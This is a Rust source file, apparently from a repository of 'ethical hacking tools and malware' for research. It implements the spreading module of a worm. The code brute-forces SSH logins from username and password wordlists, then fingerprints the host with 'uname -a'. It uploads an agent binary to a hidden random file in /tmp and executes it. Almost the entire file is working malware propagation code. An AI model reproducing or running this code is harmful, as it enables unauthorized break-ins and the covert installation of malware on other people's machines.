This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
use crate::wordlist;
use rand::distributions::Alphanumeric;
use rand::{thread_rng, Rng};
use ssh2::{Channel, Session};
use std::fs;
use std::io::Write;
use std::{fmt, io::Read, net::TcpStream, path::PathBuf};
#[derive(Debug, Clone, Copy)]
enum Platform {
LinuxX86_64,
LinuxAarch64,
MacOsX86_64,
MacOsAarch64,
Unknown,
}
impl fmt::Display for Platform {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
match self {
Platform::LinuxX86_64 => write!(f, "linux_x86_64"),
Platform::LinuxAarch64 => write!(f, "linux_aarch64"),
Platform::MacOsX86_64 => write!(f, "macos_x86_64"),
Platform::MacOsAarch64 => write!(f, "macos_aarch64"),
Platform::Unknown => write!(f, "unknown"),
}
}
}
pub fn spread(install_dir: PathBuf, host_port: &str) -> Result<(), crate::Error> {
let tcp = TcpStream::connect(host_port)?;
let mut ssh = Session::new()?;
ssh.set_tcp_stream(tcp);
ssh.handshake()?;
match bruteforce(&mut ssh)? {
Some((username, password)) => {
println!(
"Authenticated! username: ({}), password: ({})",
username, password
);
}
None => {
println!("Couldn't authenticate. Aborting.");
return Ok(());
}
};
let platform = identify_platform(&ssh)?;
println!("detected platform: {}", platform);
let mut agent_for_platform = install_dir.clone();
agent_for_platform.push(format!("agent.{}", platform));
if !agent_for_platform.exists() {
println!("agent.{} not avalable. Aborting.", platform);
return Ok(());
}
println!("Uploading: {}", agent_for_platform.display());
let remote_path = upload_agent(&ssh, &agent_for_platform)?;
println!("agent uploaded to {}", &remote_path);
execute_remote_agent(&ssh, &remote_path)?;
println!("Agent successfully executed on remote host 🥳");
Ok(())
}
fn upload_agent(ssh: &Session, agent_path: &PathBuf) -> Result<String, crate::Error> {
let rand_name: String = thread_rng()
.sample_iter(&Alphanumeric)
.take(32)
.map(char::from)
.collect();
let hidden_rand_name = format!(".{}", rand_name);
let mut remote_path = PathBuf::from("/tmp");
remote_path.push(&hidden_rand_name);
let agent_data = fs::read(agent_path)?;
println!("size: {}", agent_data.len());
let mut channel = ssh.scp_send(&remote_path, 0o700, agent_data.len() as u64, None)?;
channel.write_all(&agent_data)?;
Ok(remote_path.display().to_string())
}
fn execute_remote_agent(ssh: &Session, remote_path: &str) -> Result<(), crate::Error> {
let mut channel_exec = ssh.channel_session()?;
channel_exec.exec(&remote_path)?;
let _ = consume_stdio(&mut channel_exec);
Ok(())
}
fn bruteforce(ssh: &Session) -> Result<Option<(String, String)>, crate::Error> {
for username in wordlist::USERNAMES {
for password in wordlist::PASSWORDS {
let _ = ssh.userauth_password(username, password);
if ssh.authenticated() {
return Ok(Some((username.to_string(), password.to_string())));
}
}
}
return Ok(None);
}
fn identify_platform(ssh: &Session) -> Result<Platform, crate::Error> {
let mut channel = ssh.channel_session()?;
channel.exec("uname -a")?;
let (stdout, _) = consume_stdio(&mut channel);
let stdout = stdout.trim();
if stdout.contains("Linux") {
if stdout.contains("x86_64") {
return Ok(Platform::LinuxX86_64);
} else if stdout.contains("aarch64") {
return Ok(Platform::LinuxAarch64);
} else {
return Ok(Platform::Unknown);
}
} else if stdout.contains("Darwin") {
if stdout.contains("x86_64") {
return Ok(Platform::MacOsX86_64);
} else if stdout.contains("aarch64") {
return Ok(Platform::MacOsAarch64);
} else {
return Ok(Platform::Unknown);
}
} else {
return Ok(Platform::Unknown);
}
}
fn consume_stdio(channel: &mut Channel) -> (String, String) {
let mut stdout = String::new();
channel.read_to_string(&mut stdout).unwrap();
let mut stderr = String::new();
channel.stderr().read_to_string(&mut stderr).unwrap();
// eprintln!("stdout: {}", stdout);
// eprintln!("stderr: {}", stderr);
(stdout, stderr)
}